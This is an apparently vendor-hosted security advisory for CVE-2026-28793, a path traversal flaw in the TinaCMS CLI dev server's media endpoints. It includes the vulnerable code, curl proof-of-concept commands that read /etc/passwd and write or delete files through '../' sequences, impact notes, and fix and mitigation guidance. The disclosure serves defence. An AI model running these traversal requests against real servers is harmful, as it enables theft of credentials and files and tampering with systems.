CVE-2026-28793 — @tinacms/cli
HIGHCVE-2026-28793 is a high-severity (CVSS 8.4) Path Traversal vulnerability in @tinacms/cli. A fix is available for @tinacms/cli — see the affected versions and patch details below.
Path Traversal Leading to Arbitrary File Read, Write and Delete in TinaCMS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-28793.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-28793 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@tinacms/clinpmDescription
Summary
The TinaCMS CLI development server exposes media endpoints that are vulnerable to path traversal, allowing attackers to read and write arbitrary files on the filesystem outside the intended media directory.
Details
When running tinacms dev, the CLI starts a local HTTP server (default port 4001) exposing endpoints such as:
-
/media/list/*
-
/media/upload/*
-
/media/*
These endpoints process user-controlled path segments using decodeURI() and path.join() without validating that the resolved path remains within the configured media directory.
Vulnerable code
bb.on('file', async (_name, file, _info) => {
const fullPath = decodeURI(req.url?.slice('/media/upload/'.length));
const saveTo = path.join(mediaFolder, ...fullPath.split('/'));
// No validation that saveTo remains within mediaFolder
await fs.ensureDir(path.dirname(saveTo));
file.pipe(fs.createWriteStream(saveTo));
});
PoC
Arbitrary File Read
curl "http://localhost:4001/media/list/../../../etc/passwd"
Result:
<img width="889" height="280" alt="image(1)" src="https://github.com/user-attachments/assets/a878a86a-71db-46ed-abda-3d4ddba692e0" />Arbitrary File Write
echo "ATTACKER_CONTROLLED_CONTENT" > /tmp/payload.txt
curl --path-as-is -X POST \
"http://localhost:4001/media/upload/../../../../../../tmp/pwned.txt" \
-F "file=@/tmp/payload.txt"
cat /tmp/pwned.txt
Result: <img width="1320" height="84" alt="image(8)" src="https://github.com/user-attachments/assets/8bd5046b-0456-474f-ab96-4e18a421997c" />
Arbitrary File Delete
echo "delete_me" > /tmp/delete-test.txt
cat /tmp/delete-test.txt # confirms file exists
curl --path-as-is -X DELETE \
"http://localhost:4001/media/../../../../../../tmp/delete-test.txt"
cat /tmp/delete-test.txt # "No such file or directory"
Impact
An attacker who can reach the TinaCMS CLI dev server can:
-
Read arbitrary files (e.g. /etc/passwd, .env, SSH keys)
-
Write arbitrary files anywhere writable by the server process
-
Delete or overwrite files, depending on endpoint usage
-
Escalate to code execution in realistic development setups by overwriting executable scripts, configuration files, or watched source files
Attack Surface
The dev server binds to localhost by default, but exploitation is realistic in:
-
Cloud IDEs (Codespaces, Gitpod)
-
Docker or VM setups with port forwarding
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Misconfigured dev environments binding to 0.0.0.0
-
Local malware or malicious dependencies
The server also enables permissive CORS, which may allow browser-based exploitation if the dev server is externally reachable, but CORS is not required for exploitation.
Recommended Fix
-
Resolve paths to absolute form
-
Enforce that resolved paths remain within the media root
-
Reject .. path segments and absolute paths
-
Consider authentication or token protection for dev server endpoints
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @tinacms/cli | all versions | 2.1.8npm install @tinacms/cli@2.1.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @tinacms/cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @tinacms/cli to 2.1.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-28793 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-28793 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-28793. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-28793 in your dependencies?
O3 Security finds CVE-2026-28793 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.